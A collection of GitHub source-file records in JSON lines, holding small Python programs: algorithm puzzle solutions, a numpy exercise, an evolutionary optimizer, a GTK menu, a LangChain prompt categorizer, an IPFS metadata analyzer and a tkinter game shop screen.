y_preds\n","repo_name":"kelsensantos/juspln","sub_path":"juspln/bert.py","file_name":"bert.py","file_ext":"py","file_size_in_byte":13706,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"71364855504","text":"from collections import deque\nfrom itertools import combinations\nn,m,g,r=map(int,input().split())\nboard=[list(map(int,input().split())) for _ in range(n)]\ndx=[-1,0,1,0];dy=[0,-1,0,1]\nenergy=[]\nfor i in range(n):\n    for j in range(m):\n        if board[i][j]==2:energy.append((i,j))\n\nresult=-2e10\ndef bfs():\n    flower=0;q=deque()\n    spread=[[[0,0] for _ in range(m)] for _ in range(n)]\n    for i in r_list:\n        x,y=energy[i]\n        spread[x][y][1]=7 #red\n        q.append((x,y))\n    for i in g_list:\n        x,y=energy[i]\n        spread[x][y][1]=8 #green\n        q.append((x,y))\n\n    while q:\n        x,y=q.popleft()\n        if spread[x][y][1]==9: continue #flower\n        for i in range(4):\n            nx=x+dx[i];ny=y+dy[i]\n            if 0<=nx<n and 0<=ny<m and board[nx][ny]!=0:\n                if spread[nx][ny][1]==0: # 호수\n                    spread[nx][ny][0],spread[nx][ny][1] = spread[x][y][0]+1,spread[x][y][1]\n                    q.append((nx,ny))\n                elif spread[nx][ny][1]==7:\n                    if spread[x][y][1]==8 and spread[x][y][0]+1==spread[nx][ny][0]: # 초록 배양액이 퍼졌을 때 시간이 같다면\n                        spread[nx][ny][1]=9;flower+=1\n                elif spread[nx][ny][1]==8:\n                    if spread[x][y][1]==7 and spread[x][y][0]+1==spread[nx][ny][0]: # 빨간 배양액이 퍼졌을 때 시간이 같다면\n                        spread[nx][ny][1]=9;flower+=1\n    return flower\n\nfor a in combinations(range(len(energy)),r+g):\n    for b in combinations(range(r+g),r):\n        r_list=[];g_list=[]\n        for i in range(r+g):\n            if i in b: r_list.append(a[i])\n            else:g_list.append(a[i])\n        result=max(result,bfs())\nprint(result)\n","repo_name":"CodeTest-StudyGroup/Code-Test-Study","sub_path":"wan2good/백준/8주차_Gaaaaaaarden.py","file_name":"8주차_Gaaaaaaarden.py","file_ext":"py","file_size_in_byte":1734,"program_lang":"python","lang":"en","doc_type":"code","stars":1095,"dataset":"github-code","pt":"47"}
{"seq_id":"31848888242","text":"# Не забудьте импортировать numpy и сразу задать seed 2021\nimport numpy as np\nnp.random.seed(2021)\n# В simple сохранте случайное число в диапазоне от 0 до 1\nsimple = None\nsimple = np.random.rand()\n# Сгенерируйте 120 чисел в диапазоне от -150 до 2021, сохраните их\n# в переменную randoms\nrandoms = None\nrandoms = np.random.uniform(-150, 2021, size=120)\n# Получите массив из случайных целых чисел от 1 до 100 (включительно)\n# из 3 строк и 2 столбцов. Сохраните результат в table\ntable = None\ntable = np.random.randint(1,101,size=(3,2))\n# В переменную even сохраните четные числа от 2 до 16 (включительно)\neven = None\neven = np.array([2, 4, 6, 8, 10, 12, 14, 16])\n# Перемешайте числа в even так, чтобы массив even изменился\nnp.random.shuffle(even)\n# Получите из even 3 числа без повторений. Сохраните их в переменную select\nselect = None\nselect = np.random.choice(even, size=3,replace=False)\n# Получите переменную triplet, которая должна содержать перемешанные\n# значения из массива select (сам select измениться не должен)\ntriplet = None\ntriplet = np.random.permutation(select)","repo_name":"inconstant1313/Sandbox","sub_path":"DSPR_119/Python_9/9_9_6.py","file_name":"9_9_6.py","file_ext":"py","file_size_in_byte":1513,"program_lang":"python","lang":"ru","doc_type":"code","stars":2,"dataset":"github-code","pt":"47"}
{"seq_id":"11679453846","text":"# -*- coding: utf-8 -*-\n\n''' !!! works only if python was compiled with UCS2 unicode !!! '''\nuni_range = 0xFFFF\n\ndefault_a_string = u\"abcdefghijklmnopqrstuvwxyząćęłńóśżź \"\n\nclass Alphabet:\n\t\n\tdef __init__(self, a_string):\n\t\n\t\tself.a_string = a_string\n\t\tself.uni_lut = [-1 for i in xrange(0, uni_range)]\n\t\t\n\t\tfor i in xrange(0, len(self.a_string)):\n\t\t\tself.uni_lut[ord(self.a_string[i])] = i\n\t\t\n\t\t'''self.uni_lut = {}\n\t\tfor i in xrange(0, uni_range):\n\t\t\tc = unichr(i)\n\t\t\tself.uni_lut[c] = self.a_string.find(c)'''\n\t\n\tdef lookup(self, uni_character):\n\t\t\n\t\treturn self.uni_lut[ord(uni_character)]\n\t\t#return self.uni_lut[uni_character]\n\t\n\t\ndefault_alphabet = Alphabet(default_a_string)","repo_name":"pinkeen/subst-cracker","sub_path":"cipher/alphabet.py","file_name":"alphabet.py","file_ext":"py","file_size_in_byte":690,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"}
{"seq_id":"70179274702","text":"from bosot.bayesian_optimization.base_candidate_generator import CandidateGenerator\nimport numpy as np\nimport logging\n\nlogger = logging.getLogger(__name__)\n\n\nclass EvolutionaryOptimizerObjects:\n    def __init__(self, population_size, num_offspring, candidate_generator: CandidateGenerator) -> None:\n        self.candidate_generator = candidate_generator\n        self.population_size = population_size\n        self.num_offspring = num_offspring\n        self.survival_rate = 1 / (self.num_offspring + 1)\n        self.current_maximizer = None\n        self.current_maximizer_value = -1 * np.infty\n\n    def maximize(self, func, steps):\n        logger.info(\"EA - Start optimization\")\n\n        population = self.candidate_generator.get_initial_for_evolutionary_opt(n_initial=self.population_size)\n        for step in range(0, steps):\n            print(\"Step \" + str(step + 1) + \"/\" + str(steps))\n            if step > 0:\n                survivors = self.select(population, function_values)\n                population = self.reproduce(survivors)\n            function_values = func(population)\n            fittest_index = np.argmax(function_values)\n            fittest_individual = population[fittest_index]\n            fitness_fittest_indiviudal = function_values[fittest_index]\n            logger.info(\"Current maximizer: \")\n            logger.info(fittest_individual)\n            logger.info(\"Function value maximizer:\")\n            logger.info(fitness_fittest_indiviudal)\n            if self.current_maximizer_value < fitness_fittest_indiviudal:\n                self.current_maximizer_value = fitness_fittest_indiviudal\n                self.current_maximizer = fittest_individual\n\n        logger.info(\"EA - Optimization complete\")\n        return self.current_maximizer, self.current_maximizer_value\n\n    def select(self, population, function_values):\n        sorted_indexes = np.argsort(function_values)\n        n = sorted_indexes.shape[0]\n        num_survive = int(self.population_size * self.survival_rate)\n        survivor_indexes = sorted_indexes[n - num_survive : n]\n        survivors = []\n        for index in survivor_indexes:\n            survivors.append(population[index])\n        return survivors\n\n    def reproduce(self, survivors):\n        new_generation = []\n        for survivor in survivors:\n            new_generation += self.candidate_generator.get_around_candidate_for_evolutionary_opt(survivor, self.num_offspring)\n        return new_generation + survivors\n","repo_name":"boschresearch/bosot","sub_path":"bosot/bayesian_optimization/evolutionary_optimizer_objects.py","file_name":"evolutionary_optimizer_objects.py","file_ext":"py","file_size_in_byte":2471,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"47"}
{"seq_id":"24424391459","text":"#kimhaeun\n#22100224\n#problem3\nimport random\n\nrandNum=[]\na=0\nb=0\nc=0\n\ndef dice():\n    dice_n=[1,2,3,4,5,6]\n    for i in range(3):\n        randNum.append(random.choice(dice_n))\n    global a\n    global b\n    global c\n    a=randNum[0]\n    b=randNum[1]\n    c=randNum[2]\n    hint=(a+b)*c\n    print(\"랜덤 숫자를 생성하였습니다.\")\n    print(\"a=\",a,\",c=\",c,\"(a+b)*c=\",hint)\n\n\ndice()\n\nfor i in range(3):\n    guess_b=int(input(\"b의 값은?\"))\n    if b!=guess_b:\n        print(\"틀렸습니다.\")\n    else:\n        print(\"정답입니다.\")\n        YN=int(input(\"계속 진행하시겠습니까? (Yes:1. No:2)\"))\n        if YN==1:\n            dice()\n        else:\n            break\n","repo_name":"qpzm/onsoo","sub_path":"3주차/성온이 화이팅/코로나 이전/과제_퀴즈_수업내코딩/과제_퀴즈_수업내코딩/quiz3_22100224_kimhaeun/problem2.py","file_name":"problem2.py","file_ext":"py","file_size_in_byte":683,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"17090383533","text":"from gtk import ImageMenuItem\nfrom gettext import gettext as _\n\nclass PopupMenuItem(ImageMenuItem):\n\n\tdef __init__(self, editor):\n\t\tImageMenuItem.__init__(self, _(\"_Lines\"))\n\t\tself.__init_attributes(editor)\n\t\tself.__set_properties()\n\t\tself.__sigid1 = self.__menuitem1.connect(\"activate\", self.__activate_cb)\n\t\tself.__sigid2 = self.__menuitem2.connect(\"activate\", self.__activate_cb)\n\t\tself.__sigid3 = self.__menuitem3.connect(\"activate\", self.__activate_cb)\n\t\tself.__sigid4 = self.__menuitem4.connect(\"activate\", self.__activate_cb)\n\t\tself.__sigid5 = self.__menuitem5.connect(\"activate\", self.__activate_cb)\n\t\tself.__sigid6 = self.__menuitem6.connect(\"activate\", self.__activate_cb)\n\t\tself.__sigid7 = self.__menuitem7.connect(\"activate\", self.__activate_cb)\n\t\tself.__sigid8 = self.__view.connect(\"focus-in-event\", self.__destroy_cb)\n\n\tdef __init_attributes(self, editor):\n\t\tself.__editor = editor\n\t\tself.__view = editor.textview\n\t\tfrom gtk import Menu, Image\n\t\tself.__menu = Menu()\n\t\tself.__image = Image()\n\t\tself.__menuitem1 = self.__editor.create_menuitem(_(\"_Join Line (alt + j)\"))\n\t\tself.__menuitem2 = self.__editor.create_menuitem(_(\"D_uplicate Line (ctrl + u)\"))\n\t\tself.__menuitem3 = self.__editor.create_menuitem(_(\"_Delete Line (alt + d)\"))\n\t\tself.__menuitem4 = self.__editor.create_menuitem(_(\"Free Line _Below (alt + o)\"))\n\t\tself.__menuitem5 = self.__editor.create_menuitem(_(\"Free Line _Above (alt + shift + o)\"))\n\t\tself.__menuitem6 = self.__editor.create_menuitem(_(\"Delete Cursor to Line _End (alt + End)\"))\n\t\tself.__menuitem7 = self.__editor.create_menuitem(_(\"Delete _Cursor to Line Begin (alt + Home)\"))\n\t\treturn\n\n\tdef __set_properties(self):\n\t\tself.set_property(\"name\", \"Line Operation Menuitem\")\n\t\tfrom gtk import STOCK_JUSTIFY_CENTER\n\t\tself.__image.set_property(\"stock\", STOCK_JUSTIFY_CENTER)\n\t\tself.set_image(self.__image)\n\t\tself.set_submenu(self.__menu)\n\t\tself.__menu.append(self.__menuitem1)\n\t\tself.__menu.append(self.__menuitem2)\n\t\tself.__menu.append(self.__menuitem3)\n\t\tself.__menu.append(self.__menuitem4)\n\t\tself.__menu.append(self.__menuitem5)\n\t\tself.__menu.append(self.__menuitem6)\n\t\tself.__menu.append(self.__menuitem7)\n\t\tif self.__editor.readonly: self.set_property(\"sensitive\", False)\n\t\treturn\n\n\tdef __activate_cb(self, menuitem):\n\t\tif menuitem == self.__menuitem1:\n\t\t\tself.__editor.trigger(\"join-line\")\n\t\telif menuitem == self.__menuitem2:\n\t\t\tself.__editor.trigger(\"duplicate-line\")\n\t\telif menuitem == self.__menuitem3:\n\t\t\tself.__editor.trigger(\"delete-line\")\n\t\telif menuitem == self.__menuitem4:\n\t\t\tself.__editor.trigger(\"free-line-below\")\n\t\telif menuitem == self.__menuitem5:\n\t\t\tself.__editor.trigger(\"free-line-above\")\n\t\telif menuitem == self.__menuitem6:\n\t\t\tself.__editor.trigger(\"delete-cursor-to-end\")\n\t\telif menuitem == self.__menuitem7:\n\t\t\tself.__editor.trigger(\"delete-cursor-to-start\")\n\t\treturn True\n\n\tdef __destroy_cb(self, *args):\n\t\tself.__editor.disconnect_signal(self.__sigid1, self.__menuitem1)\n\t\tself.__editor.disconnect_signal(self.__sigid2, self.__menuitem2)\n\t\tself.__editor.disconnect_signal(self.__sigid3, self.__menuitem3)\n\t\tself.__editor.disconnect_signal(self.__sigid4, self.__menuitem4)\n\t\tself.__editor.disconnect_signal(self.__sigid5, self.__menuitem5)\n\t\tself.__editor.disconnect_signal(self.__sigid6, self.__menuitem6)\n\t\tself.__editor.disconnect_signal(self.__sigid7, self.__menuitem7)\n\t\tself.__editor.disconnect_signal(self.__sigid8, self.__view)\n\t\tself.destroy()\n\t\tdel self\n\t\tself = None\n\t\treturn False\n","repo_name":"mystilleef/scribes","sub_path":"GenericPlugins/Lines/PopupMenuItem.py","file_name":"PopupMenuItem.py","file_ext":"py","file_size_in_byte":3462,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"}
{"seq_id":"38680417685","text":"from langchain.chat_models import AzureChatOpenAI\nfrom langchain.schema import (AIMessage,\n  HumanMessage,\n  SystemMessage,\n  BaseMessage)\nfrom langchain.prompts.chat import (\n  SystemMessagePromptTemplate,\n  HumanMessagePromptTemplate,\n  )\nimport os\n\nfrom dotenv import load_dotenv\n\nload_dotenv()\n\n\nBASE_URL = os.environ[\"BASE_URL\"]\nDEPLOYMENT_NAME = os.environ[\"DEPLOYMENT_NAME\"]\nAPI_KEY = os.environ[\"API_KEY\"]\n\nmodel1 = AzureChatOpenAI(\nopenai_api_base=BASE_URL,\nopenai_api_version=\"2023-05-15\",\ndeployment_name=DEPLOYMENT_NAME,\nopenai_api_key=API_KEY,\nopenai_api_type=\"azure\",\ntemperature = 0)\n\n\nllm = model1\n\ndef prompt_categorizer(text:str|None=None, set_of_tasks = set([\"Summarization of given Information\", \"Creative Writing\", \"Interpret or Write Code\",\n                                                         \"Natural Language Question\"]) )->str:\n \n string_list = \"\"\n \n for i in list(set_of_tasks):\n   string_list += i + \"\\n\"\n   \n Sys_Temp = \"The User is prompting an Artificial Inteligence Model in a variety of tasks that need to be classified as: {types} \\\n First, you will decompose the prompt into small specific and concrete tasks, in the following format: \\\n To accomplish this prompt one needs to do the following tasks: \\n \\\nTask 1: <Summary of task 1> ( <Type of Task 1> ) \\n \\\n... \\n \\\nTask N: <Summary of task N> ( <Type of Task N )\"\n \n \n \n System_Prompt_template = SystemMessagePromptTemplate.from_template(template = Sys_Temp, )\n initial_prompt = System_Prompt_template.format_messages(types = string_list)[0]\n messages = [initial_prompt, HumanMessage(content = text)]\n result = llm(messages)#.content\n messages.append(result)\n \n formatting_prompt = \"Good, now take each task presented and from that write a python list in the following form: \\\n [<Type of task 1>, <Type of task 2>, ... ,<Type of task N>] \\\n Be sure to respect each element of punctuation and formatting.\"\n \n Get_Tasks = \"Good, now take each task presented and from that write a list in the following form: \\\n [<Description of Task 1>; <Description of Task 2>; ... ;<Description of Task N>] \\\n Be sure to separate each task by the character \\\";\\\" . Do not include the type of the task in this list.\"\n \n messages_class = messages +A[( HumanMessage(content = formatting_prompt) )]\n messages_tasks = messages + [HumanMessage(content = Get_Tasks)]\n \n result_class = llm(messages_class)\n result_class = result_class.content.replace(\"\\\"\",\"\").replace(\"\\'\",\"\").strip(\"[]\").split(\", \")\n \n result_tasks = llm(messages_tasks)\n result_tasks = result_tasks.content.replace(\"\\\"\",\"\").replace(\"\\'\",\"\").replace(\"\\n\",\"\").strip(\"[]\").split(\"; \")\n\n return zip(result_tasks,result_class)\n\nif \"__name__\" == \"__main__\":\n  AA = prompt_categorizer(\"Please explain to me the plot of the movie Cars.\")\n  dict(AA)\n","repo_name":"whitesmith/ai-residency","sub_path":"Part1_Initial_prompt_test.py","file_name":"Part1_Initial_prompt_test.py","file_ext":"py","file_size_in_byte":2778,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"12802526309","text":"from typing import Union\nimport aioipfs\n\nfrom PyQt5.QtWidgets import QApplication\nfrom PyQt5.QtCore import QObject\n\nfrom galacteek import log\nfrom galacteek import ensure\n\nfrom galacteek.ipfs import ipfsOp\n\nfrom galacteek.ipfs.cidhelpers import IPFSPath\nfrom galacteek.ipfs.cidhelpers import getCID\nfrom galacteek.ipfs.cidhelpers import cidDowngrade\nfrom galacteek.ipfs.mimetype import MIMEType\nfrom galacteek.ipfs.mimetype import detectMimeType\nfrom galacteek.ipfs.ipfssearch import objectMetadata\n\nfrom galacteek.ipfs.stat import StatInfo\nfrom galacteek.ipfs.stat import UnixFsStatInfo\n\nfrom galacteek.crypto.qrcode import IPFSQrDecoder\n\n\nclass ResourceAnalyzer(QObject):\n    def __init__(self, parent=None):\n        super().__init__(parent)\n        self.app = QApplication.instance()\n        self.qrDecoder = IPFSQrDecoder()\n\n    @ipfsOp\n    async def __call__(self, ipfsop, pathRef: Union[IPFSPath, str],\n                       fetchExtraMetadata=False,\n                       statType: list = ['object'],\n                       mimeTimeout=10):\n        \"\"\"\n        :param IPFSPath pathRef: path of the resource to analyze\n        :param str statType: list of types of stat calls to perform\n            (object or files)\n        \"\"\"\n\n        if isinstance(pathRef, IPFSPath):\n            ipfsPath = pathRef\n        elif isinstance(pathRef, str):\n            ipfsPath = IPFSPath(pathRef, autoCidConv=True)\n        else:\n            log.debug('Invalid path: {path}'.format(path=pathRef))\n            return None, None\n\n        path = ipfsPath.objPath\n        mHashMeta = await self.app.multihashDb.get(path)\n\n        if mHashMeta:\n            # Already have metadata for this object\n            typeStr = mHashMeta.get('mimetype')\n            mimetype = MIMEType(typeStr) if typeStr else None\n            statInfo = mHashMeta.get('stat')\n            filesStatInfo = mHashMeta.get('filesStat')\n            if 'object' in statType:\n                return mimetype, StatInfo(statInfo)\n            elif 'files' in statType:\n                return mimetype, UnixFsStatInfo(filesStatInfo)\n        else:\n            mimetype = await detectMimeType(\n                path,\n                timeout=mimeTimeout\n            )\n\n            if 'object' in statType:\n                statInfo = await ipfsop.objStatInfo(path)\n                if not statInfo:\n                    log.debug('Stat failed for {path}'.format(\n                        path=path))\n                    return mimetype, None\n            elif 'files' in statType:\n                statInfo = await ipfsop.filesStatInfo(ipfsPath.objPath)\n            else:\n                raise ValueError('Invalid stat type')\n\n            await ipfsop.sleep()\n\n            # Store retrieved information in the metadata store\n            # TODO: use an RDF graph (ideally with automatic purge system)\n\n            metaMtype = mimetype.type if mimetype and mimetype.valid else None\n\n            if 'object' in statType:\n                await self.app.multihashDb.store(\n                    path,\n                    mimetype=metaMtype,\n                    stat=statInfo.stat\n                )\n            elif 'files' in statType:\n                await self.app.multihashDb.store(\n                    path,\n                    mimetype=metaMtype,\n                    filesStat=statInfo.stat\n                )\n\n            # Fetch additional metadata in another task\n\n            if fetchExtraMetadata and statInfo and statInfo.valid:\n                ensure(self.fetchMetadata(path, statInfo))\n\n        return mimetype, statInfo\n\n    async def fetchMetadata(self, path, sInfo):\n        if sInfo is None:\n            return\n\n        cidobj = getCID(sInfo.cid)\n        cid = cidDowngrade(cidobj)\n\n        if not cid:\n            return\n\n        metadata = await objectMetadata(str(cid))\n\n        if metadata:\n            await self.app.multihashDb.store(\n                path,\n                objmetadata=metadata\n            )\n\n    @ipfsOp\n    async def decodeQrCodes(self, ipfsop, path):\n        try:\n            data = await ipfsop.catObject(path)\n\n            if data is None:\n                log.debug('decodeQrCodes({path}): could not fetch QR')\n                return\n\n            if not self.qrDecoder:\n                # No QR decoding support\n                log.debug('decodeQrCodes: no QR decoder available')\n                return\n\n            # Decode the QR codes in the image if there's any\n            return await self.app.loop.run_in_executor(\n                self.app.executor, self.qrDecoder.decode, data)\n        except aioipfs.APIError as err:\n            log.debug(f'decodeQrCodes({path}): IPFS error: {err.message}')\n","repo_name":"pinnaculum/galacteek","sub_path":"galacteek/core/analyzer.py","file_name":"analyzer.py","file_ext":"py","file_size_in_byte":4678,"program_lang":"python","lang":"en","doc_type":"code","stars":161,"dataset":"github-code","pt":"47"}
{"seq_id":"6392054557","text":"class Node(object):\n    def __init__(self, val, children):\n        self.val = val\n        self.children = children\n\nclass Solution(object):\n    depVal = 0\n    def _maxDepth(self, root, curDepth):\n        if root is not None:\n            if self.depVal is None:\n                self.depVal = curDepth\n            else:\n                self.depVal = max(self.depVal, curDepth)\n            for child in root.children:\n                self._maxDepth(child, curDepth + 1)\n\n    def maxDepth(self, root):\n        depVal = 0\n        self._maxDepth(root, 1)\n        return self.depVal","repo_name":"mengyx-work/CS_algorithm_scripts","sub_path":"leetcode/LC_559 Maximum Depth of N-ary Tree.py","file_name":"LC_559 Maximum Depth of N-ary Tree.py","file_ext":"py","file_size_in_byte":575,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"47"}
{"seq_id":"30899011724","text":"from tkinter import Frame, Label, Button, TOP, RIGHT, LEFT, CENTER, BOTTOM\nfrom PIL import Image, ImageTk\nimport PIL\nfrom Screens.shopButton import ShopButton\nclass StarShopEngine:\n    def __init__(self, window):\n        self.window = window\n        self.normalShop = True\n        self.f = Frame(self.window.root, bg=\"blue\", width=self.window.width, height =self.window.height)\n        self.f.pack_propagate(0)\n\n        self.backgroundImage= ImageTk.PhotoImage(file=\"Backgrounds/starShop.png\")\n        self.backgroundLabel = Label(self.f, image=self.backgroundImage)\n\n        self.shopScale = self.window.width / 1280\n        self.save = self.window.save\n        barScale = self.shopScale / 5\n        buttonScale = self.shopScale / 2\n\n        self.barImageList = []\n        self.barImageList.append(self.openTkImage(\"Images/Shop/levelBar1.png\", barScale))\n        self.barImageList.append(self.openTkImage(\"Images/Shop/levelBar2.png\", barScale))\n        self.barImageList.append(self.openTkImage(\"Images/Shop/levelBar3.png\", barScale))\n        self.barImageList.append(self.openTkImage(\"Images/Shop/levelBar4.png\", barScale))\n        self.barImageList.append(self.openTkImage(\"Images/Shop/levelBar5.png\", barScale))\n        self.barImageList.append(self.openTkImage(\"Images/Shop/levelBar6.png\", barScale))\n\n        self.buttonList = []\n\n\n        self.sideBar = Label(self.window.root, bg=\"#%02x%02x%02x\" % (121, 202, 249), width=self.window.width // 5, height=self.window.height)\n        self.sideBar.pack(in_=self.f, side=LEFT, pady=25, padx = 25)\n\n        self.buttonGrid = Label(self.window.root, bg=\"#%02x%02x%02x\" % (121, 202, 249), width=self.window.width // 5 * 3, height =self.window.height)\n        self.buttonGrid.pack(in_=self.f, side=TOP)\n\n        self.moneyL = Label(self.window.root, text=\"Stars: \" + str(self.save.stars), bg=\"#%02x%02x%02x\" % (121, 202, 249), font=\"Helvetica 15 bold\", width=self.window.width // 5)\n        self.moneyL.pack(side=TOP, in_=self.sideBar, pady=25)\n\n        self.achievementB = Button(self.window.root, text=\"Shop\", command=self.shop, bg=\"#%02x%02x%02x\" % (255, 165, 0), width=self.window.width // 5, font=\"Helvetica 15 bold\")\n        self.achievementB.pack(side=BOTTOM, in_=self.sideBar, pady=25)\n\n        self.accept = Button(self.window.root, text=\"Accept\", command=self.accept, bg=\"#%02x%02x%02x\" % (255, 0, 0), width=self.window.width // 5, font=\"Helvetica 15 bold\")\n        self.accept.pack(side=BOTTOM, in_=self.sideBar)\n\n\n        self.shieldButtonImage = ImageTk.PhotoImage(self.scale(Image.open(\"Images/Shop/maxFuelButton.png\"), buttonScale))\n        ShopButton(self.window, self.window.save.starFuelCanLevel, self.buttonGrid, self.sideBar, self.save, self.buttonList, self.barImageList, self.backgroundImage, 0, 0,\n                   \"\"\"Fuel Cans:\nDoubles the amount of fuel than fuel cans give you\"\"\",\n                   self.window.root, image=self.shieldButtonImage)\n        self.airResistButtonImage = ImageTk.PhotoImage(self.scale(Image.open(\"Images/Shop/propulsionButton.png\"), buttonScale))\n        ShopButton(self.window, self.window.save.starSpeedGateLevel, self.buttonGrid, self.sideBar, self.save, self.buttonList, self.barImageList, self.backgroundImage, 1, 0,\n                   \"\"\"Speed Gates:\nDoubles the acceleration from speed gates\"\"\",\n                   self.window.root, image=self.airResistButtonImage)\n        self.antiGravButtonImage = ImageTk.PhotoImage(self.scale(Image.open(\"Images/Shop/shieldButton.png\"), buttonScale))\n        ShopButton(self.window, self.window.save.starShieldLevel, self.buttonGrid, self.sideBar, self.save, self.buttonList, self.barImageList, self.backgroundImage, 2, 0,\n                   \"\"\"Shields:\nReduces the amount of pull from black holes based on your number of shields\"\"\",\n                   self.window.root, image=self.antiGravButtonImage)\n        self.frictionButtonImage = ImageTk.PhotoImage(self.scale(Image.open(\"Images/Shop/magnetButton.png\"), buttonScale))\n        ShopButton(self.window, self.window.save.starMagnetLevel, self.buttonGrid, self.sideBar, self.save, self.buttonList, self.barImageList, self.backgroundImage, 0, 1,\n                   \"\"\"Magnet:\nGives you a magnet that sucks in blobs\"\"\",\n                   self.window.root, image=self.frictionButtonImage)\n        self.launchSpeedButtonImage = ImageTk.PhotoImage(self.scale(Image.open(\"Images/Shop/predictionButton.png\"), buttonScale))\n        ShopButton(self.window, self.window.save.starPredictionLevel, self.buttonGrid, self.sideBar, self.save, self.buttonList, self.barImageList, self.backgroundImage, 1, 1,\n                   \"\"\"Predictions:\nDisplays a line that shows the path you will travel along\"\"\",\n                   self.window.root, image=self.launchSpeedButtonImage)\n        self.maxMassButtonImage = ImageTk.PhotoImage(self.scale(Image.open(\"Images/Shop/blackHoleButton.png\"), buttonScale))\n        ShopButton(self.window, self.window.save.starBlackHoleLevel, self.buttonGrid, self.sideBar, self.save, self.buttonList, self.barImageList, self.backgroundImage, 2, 1,\n                   \"\"\"Black hole warnings:\nDisplays arrows that point towards black holes\"\"\",\n                   self.window.root, image=self.maxMassButtonImage)\n\n\n    def update(self):\n        self.f.config(width=self.window.width, height=self.window.width)\n\n        self.shopScale = self.window.width / 1280\n        self.save = self.window.save\n        barScale = self.shopScale / 5\n        buttonScale = self.shopScale / 2\n\n        self.sideBar.config(width=self.window.width // 5, heigh=self.window.height)\n        self.buttonGrid.config(width=self.window.width // 5 * 3, height=self.window.height)\n\n        self.barImageList.clear()\n        self.barImageList.append(self.openTkImage(\"Images/Shop/levelBar1.png\", barScale))\n        self.barImageList.append(self.openTkImage(\"Images/Shop/levelBar2.png\", barScale))\n        self.barImageList.append(self.openTkImage(\"Images/Shop/levelBar3.png\", barScale))\n        self.barImageList.append(self.openTkImage(\"Images/Shop/levelBar4.png\", barScale))\n        self.barImageList.append(self.openTkImage(\"Images/Shop/levelBar5.png\", barScale))\n        self.barImageList.append(self.openTkImage(\"Images/Shop/levelBar6.png\", barScale))\n\n        self.buttonGrid.config(width=self.window.width // 5 * 3, height=self.window.height)\n        try:\n            self.shieldButtonImage = ImageTk.PhotoImage(self.scale(Image.open(\"Images/Shop/maxFuelButton.png\"), buttonScale))\n            self.buttonList[0].config(image=self.shieldButtonImage)\n            self.airResistButtonImage = ImageTk.PhotoImage(self.scale(Image.open(\"Images/Shop/propulsionButton.png\"), buttonScale))\n            self.buttonList[1].config(image=self.airResistButtonImage)\n            self.antiGravButtonImage = ImageTk.PhotoImage(self.scale(Image.open(\"Images/Shop/shieldButton.png\"), buttonScale))\n            self.buttonList[2].config(image=self.antiGravButtonImage)\n            self.frictionButtonImage = ImageTk.PhotoImage(self.scale(Image.open(\"Images/Shop/magnetButton.png\"), buttonScale))\n            self.buttonList[3].config(image=self.frictionButtonImage)\n            self.launchSpeedButtonImage = ImageTk.PhotoImage(self.scale(Image.open(\"Images/Shop/predictionButton.png\"), buttonScale))\n            self.buttonList[4].config(image=self.launchSpeedButtonImage)\n            self.maxMassButtonImage = ImageTk.PhotoImage(self.scale(Image.open(\"Images/Shop/blackHoleButton.png\"), buttonScale))\n            self.buttonList[5].config(image=self.maxMassButtonImage)\n        except:\n            pass\n\n    def accept(self):\n        #must add in saving here, buttons dont currently do anything\n        self.window.rMenu = \"charScreen\"\n\n    def shop(self):\n        self.window.rMenu = \"shop\"\n\n    def run(self):\n        #must save levels here\n        for button in self.buttonList:\n            button.run()\n        self.save = self.window.save\n        self.moneyL.config(text=\"Stars: \" + str(int(self.save.stars)))\n        for button in self.buttonList:\n            button.save = self.window.save\n\n        self.window.save.starFuelCanLevel = self.buttonList[0].level\n        self.window.save.starSpeedGateLevel =self.buttonList[1].level\n        self.window.save.starShieldLevel = self.buttonList[2].level\n        self.window.save.starMagnetLevel = self.buttonList[3].level\n        self.window.save.starPredictionLevel = self.buttonList[4].level\n        self.window.save.starBlackHoleLevel = self.buttonList[5].level\n\n\n    def scale(self, image, scale):\n        newWidth = image.size[0] * scale\n        wPercent = (newWidth/float(image.size[0]))\n        hSize = int((float(image.size[1])*float(wPercent)))\n        scaledImage = image.resize((int(newWidth), int(hSize)), PIL.Image.ANTIALIAS)\n        return scaledImage\n\n    def hide(self):\n        self.backgroundLabel.place(x=10000, y=10000, relwidth=1, relheight=1)\n        self.sideBar.place(x=10000, y=10000, relwidth=.15, relheight=1)\n        self.f.pack_forget()\n\n    def setUp(self):\n        self.backgroundLabel.place(x=0, y=0, relwidth=1, relheight=1)\n        self.sideBar.place(x=0, y=0, relwidth=.15, relheight=1)\n        self.buttonList[0].level = self.window.save.starFuelCanLevel\n        self.buttonList[1].level = self.window.save.starSpeedGateLevel\n        self.buttonList[2].level = self.window.save.starShieldLevel\n        self.buttonList[3].level = self.window.save.starMagnetLevel\n        self.buttonList[4].level = self.window.save.starPredictionLevel\n        self.buttonList[5].level = self.window.save.starBlackHoleLevel\n\n\n        self.f.pack()\n\n    def openTkImage(self, path, scale):\n        return ImageTk.PhotoImage(self.scale(Image.open(path), scale).convert(\"RGB\"))\n","repo_name":"psheppard16/red-ball","sub_path":"Screens/starShopEngine.py","file_name":"starShopEngine.py","file_ext":"py","file_size_in_byte":9718,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
